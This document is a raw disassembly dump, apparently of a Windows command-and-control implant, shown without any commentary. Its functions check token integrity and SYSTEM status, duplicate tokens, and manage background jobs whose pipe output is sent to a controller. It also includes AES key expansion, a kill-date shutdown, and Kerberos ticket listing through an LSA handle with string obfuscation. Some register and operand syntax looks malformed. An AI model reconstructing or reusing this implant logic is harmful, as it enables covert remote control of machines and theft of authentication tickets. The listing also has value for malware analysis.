Similarity

140016400
140016400IsHighIntegrity:
140016400push rbx
140016401xor r8l, r8l
140016404xor edx, edx
140016406xor ecx, ecx
140016408mov r9l, 544
14001640eadd rsp, -128
140016412mov rbx, [rip+0x15f57]
140016419lea rax, [rsp+120]
14001641emov [rsp+114], edx
140016422mov edx, 2
140016427mov [rsp+120], rcx
14001642clea rcx, [rsp+114]
140016431mov [rsp+72], r8l
140016436mov [rsp+64], r8l
14001643bmov [rsp+56], r8l
140016440mov [rsp+48], r8l
140016445mov [rsp+40], r8l
14001644amov [rsp+32], r8l
14001644fmov r8l, 32
140016455mov [rsp+108], 1
14001645dmov [rsp+118], 1280
140016464mov [rsp+80], rax
140016469call [rbx+1428]
14001646ftest eax, eax
140016471je 0x1400164a4
140016473xor ecx, ecx
140016475mov rdx, [rsp+120]
14001647alea r8, [rsp+108]
14001647fcall [rbx+1436]
140016485test eax, eax
140016487jne 0x14001648f
140016489xor eax, eax
14001648bmov [rsp+108], eax
14001648f
14001648floc_14001648f:
14001648fmov rcx, [rsp+120]
140016494call [rbx+1380]
14001649axor eax, eax
14001649ccmp [rsp+108], 0
1400164a1setne al
1400164a4
1400164a4loc_1400164a4:
1400164a4sub rsp, -128
1400164a8pop rbx
1400164a9ret
140016400

1400164aa
1400164aa // align 0x10

1400164b0
1400164b0IsImpersonationToken:
1400164b0push rbp
1400164b1xor eax, eax
1400164b3xor edx, edx
1400164b5push rdi
1400164b6mov rdi, rcx
1400164b9mov ecx, 64
1400164bepush rsi
1400164bfxor esi, esi
1400164c1push rbx
1400164c2sub rsp, 72
1400164c6mov rbp, [rip+0x15ea3]
1400164cdmov [rsp+52], edx
1400164d1mov edx, 4096
1400164d6mov [rsp+56], rax
1400164dbcall [rbp+932]
1400164e1test rax, rax
1400164e4je 0x140016551
1400164e6mov rbx, rax
1400164e9lea rax, [rsp+52]
1400164eemov edx, 9
1400164f3mov rcx, rdi
1400164f6mov [rsp+32], rax
1400164fbmov r9l, 4096
140016501mov r8, rbx
140016504call [rbp+1340]
14001650atest eax, eax
14001650cje 0x140016519
14001650exor esi, esi
140016510cmp [rbx], 1
140016513seta sil
140016517jmp 0x140016548
140016519
140016519loc_140016519:
140016519lea rax, [rsp+56]
14001651emov rcx, rdi
140016521mov edx, 0xf01ff
140016526mov r9l, 2
14001652cmov [rsp+32], rax
140016531mov r8l, 2
140016537call TokenDuplicate
14001653cmov rcx, [rsp+56]
140016541mov esi, eax
140016543call SysNtClose
140016548
140016548loc_140016548:
140016548mov rcx, rbx
14001654bcall [rbp+940]
140016551
140016551loc_140016551:
140016551add rsp, 72
140016555mov eax, esi
140016557pop rbx
140016558pop rsi
140016559pop rdi
14001655apop rbp
14001655bret
1400164b0

14001655c
14001655c // align 0x10

140016560
140016560IsNotCurrentUser:
140016560test ecx, ecx
140016562je 0x140016584
140016564mov rax, rdx
140016567sub rsp, 40
14001656bmov rdx, [r8]
14001656emov rcx, [rax]
140016571call StringCompareW
140016576xor edx, edx
140016578test eax, eax
14001657asetne dl
14001657dadd rsp, 40
140016581mov eax, edx
140016583ret
140016584
140016584loc_140016584:
140016584mov eax, 1
140016589ret
140016560

14001658a
14001658a // align 0x10

140016590
140016590IsSystem:
140016590push rsi
140016591xor edx, edx
140016593xor ecx, ecx
140016595mov r9l, 84
14001659bpush rbx
14001659csub rsp, 216
1400165a3mov rsi, [rip+0x15dc6]
1400165aalea rax, [rsp+100]
1400165afmov [rsp+106], edx
1400165b3lea r8, [rsp+124]
1400165b8mov edx, 1
1400165bdmov [rsp+112], rcx
1400165c2xor ecx, ecx
1400165c4mov [rsp+110], 1280
1400165cbmov [rsp+32], rax
1400165d0call [rsi+1340]
1400165d6test eax, eax
1400165d8jne 0x1400165de
1400165da
1400165daloc_1400165da:
1400165daxor ebx, ebx
1400165dcjmp 0x14001663c
1400165de
1400165deloc_1400165de:
1400165delea rax, [rsp+112]
1400165e3xor r9l, r9l
1400165e6lea rcx, [rsp+106]
1400165ebmov r8l, 18
1400165f1mov [rsp+80], rax
1400165f6xor eax, eax
1400165f8mov edx, 1
1400165fdmov [rsp+72], eax
140016601mov [rsp+64], eax
140016605mov [rsp+56], eax
140016609mov [rsp+48], eax
14001660dmov [rsp+40], eax
140016611mov [rsp+32], eax
140016615call [rsi+1428]
14001661btest eax, eax
14001661dje 0x1400165da
14001661fmov rcx, [rsp+124]
140016624mov rdx, [rsp+112]
140016629call [rsi+1460]
14001662fmov rcx, [rsp+112]
140016634mov ebx, eax
140016636call [rsi+1380]
14001663c
14001663cloc_14001663c:
14001663cadd rsp, 216
140016643mov eax, ebx
140016645pop rbx
140016646pop rsi
140016647ret
140016590

140016648
140016648 // align 0x10

140016650
140016650JobAdd:
140016650push r14
140016652movsx eax, r9w
140016656mov r14l, ecx
140016659lea rcx, [rip+0x11a90]
140016660push r13
140016662push r12
140016664push rbp
140016665push rdi
140016666mov edi, edx
140016668push rsi
140016669mov esi, r8l
14001666cpush rbx
14001666dmov ebx, r9l
140016670mov r9l, edx
140016673lea rdx, [rip+0x16b96]
14001667asub rsp, 64
14001667emov r13, [rsp+160]
140016686mov r12, [rsp+168]
14001668emov [rsp+40], eax
140016692movsx eax, r8w
140016696mov [rsp+32], eax
14001669amov r8l, 20
1400166a0mov [rsp+56], r12
1400166a5mov [rsp+48], r13
1400166aacall printf
1400166afmov edx, 40
1400166b4mov ecx, 64
1400166b9mov rbp, [rip+0x15cb0]
1400166c0call [rbp+932]
1400166c6xor edx, edx
1400166c8mov [rax+32], rdx
1400166ccmov rdx, [rbp+2302]
1400166d3mov [rax], r14l
1400166d6mov [rax+4], edi
1400166d9mov [rax+8], si
1400166ddmov [rax+10], bx
1400166e1mov [rax+16], r13
1400166e5mov [rax+24], r12
1400166e9test rdx, rdx
1400166ecjne 0x1400166f7
1400166eemov [rbp+2302], rax
1400166f5jmp 0x140016707
1400166f7
1400166f7loc_1400166f7:
1400166f7mov rcx, rdx
1400166famov rdx, [rdx+32]
1400166fetest rdx, rdx
140016701jne 0x1400166f7
140016703mov [rcx+32], rax
140016707
140016707loc_140016707:
140016707add rsp, 64
14001670bpop rbx
14001670cpop rsi
14001670dpop rdi
14001670epop rbp
14001670fpop r12
140016711pop r13
140016713pop r14
140016715ret
140016650

140016716
140016716 // align 0x10

140016720
140016720JobCheckList:
140016720push r12
140016722push rbp
140016723push rdi
140016724push rsi
140016725push rbx
140016726sub rsp, 64
14001672amov rsi, [rip+0x15c3f]
140016731mov rbx, [rsi+2302]
140016738
140016738loc_140016738:
140016738test rbx, rbx
14001673bje 0x14001698b
140016741mov eax, [rbx+8]
140016744cmp ax, 2
140016748je 0x14001675b
14001674acmp ax, 3
14001674eje 0x1400167b8
140016750dec ax
140016753jne 0x140016982
140016759jmp 0x14001677d
14001675b
14001675bloc_14001675b:
14001675bcmp [rbx+10], 1
140016760jne 0x140016982
140016766xor eax, eax
140016768mov rcx, [rbx+16]
14001676clea rdx, [rsp+60]
140016771mov [rsp+60], eax
140016775call [rsi+964]
14001677bjmp 0x14001679f
14001677d
14001677dloc_14001677d:
14001677dcmp [rbx+10], 1
140016782jne 0x140016982
140016788xor r12l, r12l
14001678bmov rcx, [rbx+16]
14001678flea rdx, [rsp+60]
140016794mov [rsp+60], r12l
140016799call [rsi+972]
14001679f
14001679floc_14001679f:
14001679fcmp [rsp+60], 259
1400167a7je 0x140016982
1400167admov [rbx+10], 3
1400167b3jmp 0x140016982
1400167b8
1400167b8loc_1400167b8:
1400167b8cmp [rbx+10], 1
1400167bdjne 0x140016982
1400167c3xor ebp, ebp
1400167c5mov rcx, [rbx+16]
1400167c9lea rdx, [rsp+56]
1400167cemov [rsp+56], ebp
1400167d2call [rsi+964]
1400167d8cmp [rsp+56], 259
1400167e0je 0x1400168b2
1400167e6lea r9, [rip+0x11a2d]
1400167edmov r8l, 113
1400167f3lea rdx, [rip+0x16936]
1400167falea rcx, [rip+0x11974]
140016801call printf
140016806mov [rbx+10], 3
14001680cmov rcx, [rbx+24]
140016810mov edx, [rbx]
140016812call AnonPipesRead
140016817mov edx, [rbx]
140016819mov ecx, 21
14001681ecall PackageCreateWithRequestID
140016823mov edx, 5
140016828mov rdi, rax
14001682bmov rcx, rax
14001682ecall PackageAddInt32
140016833mov rcx, rdi
140016836xor edi, edi
140016838call PackageTransmit
14001683dmov rcx, [rbx+16]
140016841call SysNtClose
140016846mov rax, [rbx+24]
14001684amov [rbx+16], rdi
14001684emov rcx, [rax+8]
140016852test rcx, rcx
140016855je 0x140016867
140016857call SysNtClose
14001685cmov rax, [rbx+24]
140016860xor r11l, r11l
140016863mov [rax+8], r11
140016867
140016867loc_140016867:
140016867mov rax, [rbx+24]
14001686bmov rcx, [rax]
14001686etest rcx, rcx
140016871je 0x140016882
140016873call SysNtClose
140016878mov rax, [rbx+24]
14001687cxor r10l, r10l
14001687fmov [rax], r10
140016882
140016882loc_140016882:
140016882mov rdi, [rbx+24]
140016886test rdi, rdi
140016889je 0x14001689e
14001688bmov ecx, 16
140016890xor eax, eax
140016892rep stosb [rdi], al
140016894mov rcx, [rbx+24]
140016898call [rsi+940]
14001689e
14001689eloc_14001689e:
14001689exor r9l, r9l
1400168a1mov ecx, [rbx+4]
1400168a4mov [rbx+24], r9
1400168a8call JobRemove
1400168adjmp 0x140016982
1400168b2
1400168b2loc_1400168b2:
1400168b2mov rax, [rbx+24]
1400168b6xor ecx, ecx
1400168b8xor r8l, r8l
1400168bblea rdi, [rsp+60]
1400168c0mov [rsp+40], r8
1400168c5xor r9l, r9l
1400168c8xor r8l, r8l
1400168cbxor edx, edx
1400168cdmov [rsp+60], ecx
1400168d1mov [rsp+32], rdi
1400168d6mov rcx, [rax]
1400168d9call [rsi+860]
1400168dftest eax, eax
1400168e1je 0x140016982
1400168e7mov r9l, [rsp+60]
1400168eclea rcx, [rip+0x11941]
1400168f3mov r8l, 151
1400168f9lea rdx, [rip+0x16830]
140016900call printf
140016905mov ecx, [rsp+60]
140016909test ecx, ecx
14001690bje 0x140016982
14001690dmov ebp, ecx
14001690fmov ecx, 64
140016914mov rdx, rbp
140016917call [rsi+932]
14001691dxor edx, edx
14001691fmov r8l, [rsp+60]
140016924mov r9, rdi
140016927mov r12, rax
14001692amov rax, [rbx+24]
14001692emov [rsp+32], rdx
140016933mov rdx, r12
140016936mov rcx, [rax]
140016939call [rsi+916]
14001693ftest eax, eax
140016941je 0x14001696a
140016943mov edx, [rbx]
140016945mov ecx, 90
14001694acall PackageCreateWithRequestID
14001694fmov r8l, [rsp+60]
140016954mov rdx, r12
140016957mov rdi, rax
14001695amov rcx, rax
14001695dcall PackageAddBytes
140016962mov rcx, rdi
140016965call PackageTransmit
14001696a
14001696aloc_14001696a:
14001696atest r12, r12
14001696dje 0x140016982
14001696fmov rdi, r12
140016972mov rcx, rbp
140016975xor eax, eax
140016977rep stosb [rdi], al
140016979mov rcx, r12
14001697ccall [rsi+940]
140016982
140016982loc_140016982:
140016982mov rbx, [rbx+32]
140016986jmp 0x140016738
14001698b
14001698bloc_14001698b:
14001698badd rsp, 64
14001698fpop rbx
140016990pop rsi
140016991pop rdi
140016992pop rbp
140016993pop r12
140016995ret
140016720

140016996
140016996 // align 0x10

1400169a0
1400169a0JobKill:
1400169a0push r15
1400169a2push r14
1400169a4lea r14, [rip+0x118c0]
1400169abpush r13
1400169admov r13l, ecx
1400169b0push r12
1400169b2lea r12, [rip+0x15e47]
1400169b9push rbp
1400169bapush rdi
1400169bbxor edi, edi
1400169bdpush rsi
1400169bepush rbx
1400169bfsub rsp, 72
1400169c3mov rsi, [rip+0x159a6]
1400169camov rbx, [rsi+2302]
1400169d1
1400169d1loc_1400169d1:
1400169d1test rbx, rbx
1400169d4je 0x140016bef
1400169dacmp [rbx+4], r13l
1400169dejne 0x140016be6
1400169e4mov r9l, r13l
1400169e7mov r8l, 288
1400169edmov rdx, r12
1400169f0mov rcx, r14
1400169f3call printf
1400169f8mov eax, [rbx+8]
1400169fbcmp ax, 2
1400169ffje 0x140016ae0
140016a05cmp ax, 3
140016a09je 0x140016af5
140016a0fdec ax
140016a12jne 0x140016aba
140016a18cmp [rbx+10], 3
140016a1dje 0x140016aba
140016a23lea rcx, [rip+0x1174b]
140016a2alea r9, [rip+0x1185c]
140016a31mov r8l, 296
140016a37mov rdx, r12
140016a3acall printf
140016a3fcmp [rbx+16], 0
140016a44lea rcx, [rip+0x1172a]
140016a4bje 0x140016ac4
140016a4dlea r9, [rip+0x11845]
140016a54mov r8l, 301
140016a5amov rdx, r12
140016a5dcall printf
140016a62mov rcx, [rbx+16]
140016a66xor edx, edx
140016a68call [rsi+684]
140016a6emov ebp, eax
140016a70test eax, eax
140016a72jns 0x140016ab4
140016a74mov rdx, r12
140016a77mov r9l, eax
140016a7amov r8l, 305
140016a80lea rcx, [rip+0x11824]
140016a87call printf
140016a8cmov rdi, [rsi+2230]
140016a93mov ecx, ebp
140016a95call [rsi+348]
140016a9bmov ecx, 1
140016aa0mov [rdi+104], eax
140016aa3mov rax, [rsi+2230]
140016aaamov edx, [rax+104]
140016aadcall PackageTransmitError
140016ab2jmp 0x140016ad9
140016ab4
140016ab4loc_140016ab4:
140016ab4dec [rsi+2238]
140016aba
140016abaloc_140016aba:
140016abamov edi, 1
140016abfjmp 0x140016bde
140016ac4
140016ac4loc_140016ac4:
140016ac4lea r9, [rip+0x116be]
140016acbmov r8l, 318
140016ad1mov rdx, r12
140016ad4call printf
140016ad9
140016ad9loc_140016ad9:
140016ad9xor edi, edi
140016adbjmp 0x140016bde
140016ae0
140016ae0loc_140016ae0:
140016ae0cmp [rbx+10], 3
140016ae5je 0x140016aba
140016ae7mov rcx, [rbx+16]
140016aebxor edx, edx
140016aedcall [rsi+980]
140016af3jmp 0x140016aba
140016af5
140016af5loc_140016af5:
140016af5cmp [rbx+10], 3
140016afaje 0x140016aba
140016afcxor edx, edx
140016afemov rcx, [rbx+16]
140016b02lea rdi, [rsp+60]
140016b07call [rsi+980]
140016b0dmov rax, [rbx+24]
140016b11xor ecx, ecx
140016b13xor r8l, r8l
140016b16mov [rsp+40], r8
140016b1bxor r9l, r9l
140016b1exor r8l, r8l
140016b21xor edx, edx
140016b23mov [rsp+60], ecx
140016b27mov [rsp+32], rdi
140016b2cmov rcx, [rax]
140016b2fcall [rsi+860]
140016b35test eax, eax
140016b37je 0x140016aba
140016b39mov r9l, [rsp+60]
140016b3elea rcx, [rip+0x116ef]
140016b45mov r8l, 346
140016b4bmov rdx, r12
140016b4ecall printf
140016b53mov ecx, [rsp+60]
140016b57test ecx, ecx
140016b59je 0x140016aba
140016b5fmov r15l, ecx
140016b62mov ecx, 64
140016b67mov rdx, r15
140016b6acall [rsi+932]
140016b70xor edx, edx
140016b72mov r8l, [rsp+60]
140016b77mov r9, rdi
140016b7amov rbp, rax
140016b7dmov rax, [rbx+24]
140016b81mov [rsp+32], rdx
140016b86mov rdx, rbp
140016b89mov rcx, [rax]
140016b8ccall [rsi+916]
140016b92test eax, eax
140016b94je 0x140016bbd
140016b96mov edx, [rbx]
140016b98mov ecx, 90
140016b9dcall PackageCreateWithRequestID
140016ba2mov r8l, [rsp+60]
140016ba7mov rdx, rbp
140016baamov rdi, rax
140016badmov rcx, rax
140016bb0call PackageAddBytes
140016bb5mov rcx, rdi
140016bb8call PackageTransmit
140016bbd
140016bbdloc_140016bbd:
140016bbdtest rbp, rbp
140016bc0je 0x140016aba
140016bc6mov rdi, rbp
140016bc9mov rcx, r15
140016bccxor eax, eax
140016bcerep stosb [rdi], al
140016bd0mov rcx, rbp
140016bd3call [rsi+940]
140016bd9jmp 0x140016aba
140016bde
140016bdeloc_140016bde:
140016bdemov ecx, r13l
140016be1call JobRemove
140016be6
140016be6loc_140016be6:
140016be6mov rbx, [rbx+32]
140016beajmp 0x1400169d1
140016bef
140016befloc_140016bef:
140016befadd rsp, 72
140016bf3mov eax, edi
140016bf5pop rbx
140016bf6pop rsi
140016bf7pop rdi
140016bf8pop rbp
140016bf9pop r12
140016bfbpop r13
140016bfdpop r14
140016bffpop r15
140016c01ret
1400169a0

140016c02
140016c02 // align 0x10

140016c10
140016c10JobRemove:
140016c10push rbp
140016c11lea rbp, [rip+0x159d8]
140016c18mov r9l, ecx
140016c1bmov r8l, 387
140016c21push rdi
140016c22mov rdx, rbp
140016c25mov edi, ecx
140016c27lea rcx, [rip+0x11579]
140016c2epush rsi
140016c2fpush rbx
140016c30sub rsp, 40
140016c34call printf
140016c39lea r9, [rip+0x11589]
140016c40mov rdx, rbp
140016c43mov r8l, 388
140016c49lea rcx, [rip+0x11525]
140016c50call printf
140016c55mov rsi, [rip+0x15714]
140016c5cmov rbx, [rsi+2302]
140016c63test rbx, rbx
140016c66je 0x140016c6d
140016c68cmp [rbx+4], edi
140016c6bje 0x140016c74
140016c6d
140016c6dloc_140016c6d:
140016c6dmov rax, rbx
140016c70xor ebx, ebx
140016c72jmp 0x140016ca0
140016c74
140016c74loc_140016c74:
140016c74mov rax, [rbx+32]
140016c78mov [rsi+2302], rax
140016c7fjmp 0x140016cca
140016c81
140016c81loc_140016c81:
140016c81mov rdx, rax
140016c84mov rax, [rax+32]
140016c88test rax, rax
140016c8bje 0x140016ca5
140016c8dcmp [rax+4], edi
140016c90jne 0x140016c81
140016c92mov rcx, [rax+32]
140016c96mov rbx, rax
140016c99mov rax, rdx
140016c9cmov [rdx+32], rcx
140016ca0
140016ca0loc_140016ca0:
140016ca0test rax, rax
140016ca3jne 0x140016c81
140016ca5
140016ca5loc_140016ca5:
140016ca5test rbx, rbx
140016ca8jne 0x140016cca
140016caaadd rsp, 40
140016caemov r9l, edi
140016cb1mov rdx, rbp
140016cb4mov r8l, 417
140016cbapop rbx
140016cbblea rcx, [rip+0x11534]
140016cc2pop rsi
140016cc3pop rdi
140016cc4pop rbp
140016cc5jmp 0x140022d30
140016cca
140016ccaloc_140016cca:
140016ccamov rcx, [rbx+16]
140016ccetest rcx, rcx
140016cd1je 0x140016cd8
140016cd3call SysNtClose
140016cd8
140016cd8loc_140016cd8:
140016cd8cmp [rbx+8], 3
140016cddjne 0x140016d01
140016cdfmov rdi, [rbx+24]
140016ce3test rdi, rdi
140016ce6je 0x140016d01
140016ce8mov ecx, 16
140016cedxor eax, eax
140016cefrep stosb [rdi], al
140016cf1mov rcx, [rbx+24]
140016cf5call [rsi+940]
140016cfbxor eax, eax
140016cfdmov [rbx+24], rax
140016d01
140016d01loc_140016d01:
140016d01mov rdi, rbx
140016d04mov ecx, 40
140016d09xor eax, eax
140016d0brep stosb [rdi], al
140016d0dmov rax, [rsi+940]
140016d14add rsp, 40
140016d18mov rcx, rbx
140016d1bpop rbx
140016d1cpop rsi
140016d1dpop rdi
140016d1epop rbp
140016d1fjmp rax
140016c10

140016d21
140016d21 // align 0x10

140016d30
140016d30JobResume:
140016d30push rbp
140016d31lea rbp, [rip+0x1140a]
140016d38push rdi
140016d39lea rdi, [rip+0x15f60]
140016d40push rsi
140016d41mov esi, ecx
140016d43push rbx
140016d44sub rsp, 40
140016d48mov rax, [rip+0x15621]
140016d4fmov rbx, [rax+2302]
140016d56
140016d56loc_140016d56:
140016d56test rbx, rbx
140016d59je 0x140016de2
140016d5fcmp [rbx+4], esi
140016d62jne 0x140016dd9
140016d64mov r9l, esi
140016d67mov r8l, 239
140016d6dmov rdx, rdi
140016d70mov rcx, rbp
140016d73call printf
140016d78cmp [rbx+8], 1
140016d7djne 0x140016dd9
140016d7flea rsi, [rip+0x113ef]
140016d86lea r9, [rip+0x1140c]
140016d8dmov r8l, 243
140016d93mov rdx, rdi
140016d96mov rcx, rsi
140016d99call printf
140016d9emov rcx, [rbx+16]
140016da2test rcx, rcx
140016da5je 0x140016dbf
140016da7xor edx, edx
140016da9call SysNtResumeThread
140016daetest eax, eax
140016db0js 0x140016de2
140016db2mov [rbx+10], 1
140016db8mov eax, 1
140016dbdjmp 0x140016de4
140016dbf
140016dbfloc_140016dbf:
140016dbflea r9, [rip+0x113c3]
140016dc6mov r8l, 260
140016dccmov rdx, rdi
140016dcfmov rcx, rsi
140016dd2call printf
140016dd7jmp 0x140016de2
140016dd9
140016dd9loc_140016dd9:
140016dd9mov rbx, [rbx+32]
140016dddjmp 0x140016d56
140016de2
140016de2loc_140016de2:
140016de2xor eax, eax
140016de4
140016de4loc_140016de4:
140016de4add rsp, 40
140016de8pop rbx
140016de9pop rsi
140016deapop rdi
140016debpop rbp
140016decret
140016d30

140016ded
140016ded // align 0x10

140016df0
140016df0JobSuspend:
140016df0push rbp
140016df1lea rbp, [rip+0x1134a]
140016df8push rdi
140016df9lea rdi, [rip+0x161b0]
140016e00push rsi
140016e01mov esi, ecx
140016e03push rbx
140016e04sub rsp, 40
140016e08mov rax, [rip+0x15561]
140016e0fmov rbx, [rax+2302]
140016e16
140016e16loc_140016e16:
140016e16test rbx, rbx
140016e19je 0x140016ea2
140016e1fcmp [rbx+4], esi
140016e22jne 0x140016e99
140016e24mov r9l, esi
140016e27mov r8l, 193
140016e2dmov rdx, rdi
140016e30mov rcx, rbp
140016e33call printf
140016e38cmp [rbx+8], 1
140016e3djne 0x140016e99
140016e3flea rsi, [rip+0x1132f]
140016e46lea r9, [rip+0x11316]
140016e4dmov r8l, 197
140016e53mov rdx, rdi
140016e56mov rcx, rsi
140016e59call printf
140016e5emov rcx, [rbx+16]
140016e62test rcx, rcx
140016e65je 0x140016e7f
140016e67xor edx, edx
140016e69call SysNtSuspendThread
140016e6etest eax, eax
140016e70js 0x140016ea2
140016e72mov [rbx+10], 2
140016e78mov eax, 1
140016e7djmp 0x140016ea4
140016e7f
140016e7floc_140016e7f:
140016e7flea r9, [rip+0x11303]
140016e86mov r8l, 213
140016e8cmov rdx, rdi
140016e8fmov rcx, rsi
140016e92call printf
140016e97jmp 0x140016ea2
140016e99
140016e99loc_140016e99:
140016e99mov rbx, [rbx+32]
140016e9djmp 0x140016e16
140016ea2
140016ea2loc_140016ea2:
140016ea2xor eax, eax
140016ea4
140016ea4loc_140016ea4:
140016ea4add rsp, 40
140016ea8pop rbx
140016ea9pop rsi
140016eaapop rdi
140016eabpop rbp
140016eacret
140016df0

140016ead
140016ead // align 0x10

140016eb0
140016eb0KeyExpansion:
140016eb0push rsi
140016eb1xor eax, eax
140016eb3push rbx
140016eb4
140016eb4loc_140016eb4:
140016eb4mov r8b, [rdx+rax]
140016eb8mov [rcx+rax], r8b
140016ebcmov r8b, [rdx+rax+1]
140016ec1mov [rcx+rax+1], r8b
140016ec6mov r8b, [rdx+rax+2]
140016ecbmov [rcx+rax+2], r8b
140016ed0mov r8b, [rdx+rax+3]
140016ed5mov [rcx+rax+3], r8b
140016edaadd rax, 4
140016edecmp rax, 32
140016ee2jne 0x140016eb4
140016ee4mov r11l, 8
140016eealea r10, [rip+0x1660f]
140016ef1lea rbx, [rip+0x15688]
140016ef8
140016ef8loc_140016ef8:
140016ef8mov esi, r11l
140016efbmovzx r9l, [rcx+28]
140016f00movzx r8l, [rcx+29]
140016f05movzx edx, [rcx+30]
140016f09movzx eax, [rcx+31]
140016f0dand esi, 7
140016f10jne 0x140016f32
140016f12mov sil, [r10+r8]
140016f16mov r8b, [r10+rdx]
140016f1amov dl, [r10+rax]
140016f1emov al, [r10+r9]
140016f22mov r9l, r11l
140016f25shr r9l, 3
140016f29xor sil, [rbx+r9]
140016f2dmov r9l, esi
140016f30jmp 0x140016f47
140016f32
140016f32loc_140016f32:
140016f32cmp esi, 4
140016f35jne 0x140016f47
140016f37mov r9b, [r10+r9]
140016f3bmov r8b, [r10+r8]
140016f3fmov dl, [r10+rdx]
140016f43mov al, [r10+rax]
140016f47
140016f47loc_140016f47:
140016f47xor r9b, [rcx]
140016f4axor r8b, [rcx+1]
140016f4einc r11l
140016f51add rcx, 4
140016f55xor dl, [rcx-2]
140016f58xor al, [rcx-1]
140016f5bmov [rcx+28], r9b
140016f5fmov [rcx+29], r8b
140016f63mov [rcx+30], dl
140016f66mov [rcx+31], al
140016f69cmp r11l, 60
140016f6djne 0x140016ef8
140016f6fpop rbx
140016f70pop rsi
140016f71ret
140016eb0

140016f72
140016f72 // align 0x10

140016f80
140016f80KillDate:
140016f80sub rsp, 40
140016f84lea r9, [rip+0x105ed]
140016f8bmov r8l, 3226
140016f91lea rdx, [rip+0x15818]
140016f98lea rcx, [rip+61545]
140016f9fcall printf
140016fa4mov ecx, 93
140016fa9call PackageCreate
140016faemov rcx, rax
140016fb1call PackageTransmit
140016fb6xor ecx, ecx
140016fb8xor edx, edx
140016fbacall PackageTransmitAll
140016fbfxor ecx, ecx
140016fc1add rsp, 40
140016fc5jmp 0x14000aa10
140016f80

140016fca
140016fca // align 0x10

140016fd0
140016fd0Klist:
140016fd0push rbp
140016fd1xor r11l, r11l
140016fd4xor r9l, r9l
140016fd7xor r10l, r10l
140016fdamov rbp, rsp
140016fddpush r15
140016fdfpush r14
140016fe1xor r14l, r14l
140016fe4push r13
140016fe6xor r13l, r13l
140016fe9push r12
140016febxor r12l, r12l
140016feepush rdi
140016fefmov rdi, rdx
140016ff2push rsi
140016ff3xor esi, esi
140016ff5push rbx
140016ff6mov rbx, rcx
140016ff9mov ecx, 114
140016ffeand rsp, -16
140017002sub rsp, 192
140017009mov [rsp+128], r9
140017011mov [rsp+116], r10l
140017016mov [rsp+184], r11
14001701emov [rsp+136], r11
140017026mov [rsp+164], r11
14001702emov [rsp+176], 0x90008
140017039mov [rsp+172], esi
140017040mov [rsp+144], r12
140017048mov [rsp+120], r13l
14001704dmov [rsp+124], r13l
140017052mov [rsp+155], r14
14001705amov [rsp+163], 0
140017062call HideChar
140017067mov ecx, 107
14001706cmov [rsp+160], al
140017073call HideChar
140017078xor ecx, ecx
14001707amov [rsp+155], al
140017081call HideChar
140017086mov ecx, 101
14001708bmov [rsp+163], al
140017092call HideChar
140017097mov ecx, 114
14001709cmov [rsp+156], al
1400170a3call HideChar
1400170a8mov ecx, 115
1400170admov [rsp+157], al
1400170b4call HideChar
1400170b9mov ecx, 98
1400170bemov [rsp+162], al
1400170c5call HideChar
1400170camov ecx, 111
1400170cfmov [rsp+158], al
1400170d6call HideChar
1400170dbmov ecx, 101
1400170e0mov [rsp+161], al
1400170e7call HideChar
1400170ecmov [rsp+159], al
1400170f3lea rax, [rsp+155]
1400170fbmov [rsp+80], rax
140017100mov [rsp+184], rax
140017108test rbx, rbx
14001710bje 0x14001713b
14001710dmov rcx, rbx
140017110call IsHighIntegrity
140017115mov edx, eax
140017117test eax, eax
140017119jne 0x140017145
14001711blea r9, [rip+0x1128e]
140017122mov r8l, 623
140017128lea rdx, [rip+0x154d1]
14001712flea rcx, [rip+0x111d1]
140017136call printf
14001713b
14001713bloc_14001713b:
14001713bxor r12l, r12l
14001713exor esi, esi
140017140jmp 0x140017465
140017145
140017145loc_140017145:
140017145lea r8, [rsp+128]
14001714dmov rcx, rbx
140017150call GetLsaHandle
140017155mov r9l, eax
140017158test eax, eax
14001715ajs 0x14001716e
14001715cmov rax, [rsp+128]
140017164mov [rsp+88], rax
140017169test rax, rax
14001716cjne 0x140017184
14001716e
14001716eloc_14001716e:
14001716emov r8l, 630
140017174lea rdx, [rip+0x15485]
14001717blea rcx, [rip+0x11249]
140017182jmp 0x140017200
140017184
140017184loc_140017184:
140017184mov rsi, [rip+0x151e5]
14001718bmov rcx, [rsp+88]
140017190lea r8, [rsp+116]
140017195lea rdx, [rsp+176]
14001719dcall [rsi+1988]
1400171a3mov ecx, eax
1400171a5test eax, eax
1400171a7jns 0x1400171c8
1400171a9call [rsi+1452]
1400171afmov r8l, 637
1400171b5lea rdx, [rip+0x15444]
1400171bclea rcx, [rip+0x11269]
1400171c3mov r9l, eax
1400171c6jmp 0x140017200
1400171c8
1400171c8loc_1400171c8:
1400171c8lea rdx, [rsp+136]
1400171d0mov rcx, rdi
1400171d3call GetLogonSessionData
1400171d8mov r9l, eax
1400171dbtest eax, eax
1400171ddjs 0x1400171ec
1400171dfmov rdi, [rsp+136]
1400171e7test rdi, rdi
1400171eajne 0x14001720a
1400171ec
1400171ecloc_1400171ec:
1400171ecmov r8l, 644
1400171f2lea rdx, [rip+0x15407]
1400171f9lea rcx, [rip+0x11264]
140017200
140017200loc_140017200:
140017200call printf
140017205jmp 0x14001713b
14001720a
14001720aloc_14001720a:
14001720alea rax, [rsp+96]
14001720fxor r13l, r13l
140017212xor r12l, r12l
140017215mov [rsp+164], 14
140017220mov [rsp+72], rax
140017225
140017225loc_140017225:
140017225cmp r13l, [rdi+8]
140017229jae 0x140017460
14001722fmov rax, [rdi]
140017232lea r14, [8*r13]
14001723acmp [rax+8*r13], 0
14001723fje 0x140017458
140017245mov edx, 7216
14001724amov ecx, 64
14001724fcall [rsi+932]
140017255mov rbx, rax
140017258test rax, rax
14001725bje 0x140017458
140017261mov rax, [rdi]
140017264mov rcx, rbx
140017267mov rdx, [rax+r14]
14001726bcall CopySessionInfo
140017270test r12, r12
140017273jne 0x140017284
140017275xor r8l, r8l
140017278mov r12, rbx
14001727bmov [rbx+7208], r8
140017282jmp 0x14001729d
140017284
140017284loc_140017284:
140017284mov rax, r12
140017287
140017287loc_140017287:
140017287mov rdx, rax
14001728amov rax, [rax+7208]
140017291test rax, rax
140017294jne 0x140017287
140017296mov [rdx+7208], rbx
14001729d
14001729dloc_14001729d:
14001729dmov rax, [rdi]
1400172a0mov rcx, [rax+r14]
1400172a4mov rax, [rcx+4]
1400172a8mov [rsp+168], rax
1400172b0call [rsi+2012]
1400172b6lea rax, [rsp+124]
1400172bbxor ecx, ecx
1400172bdmov edx, [rsp+116]
1400172c1mov [rsp+48], rax
1400172c6lea rax, [rsp+120]
1400172cbmov r9l, 12
1400172d1lea r8, [rsp+164]
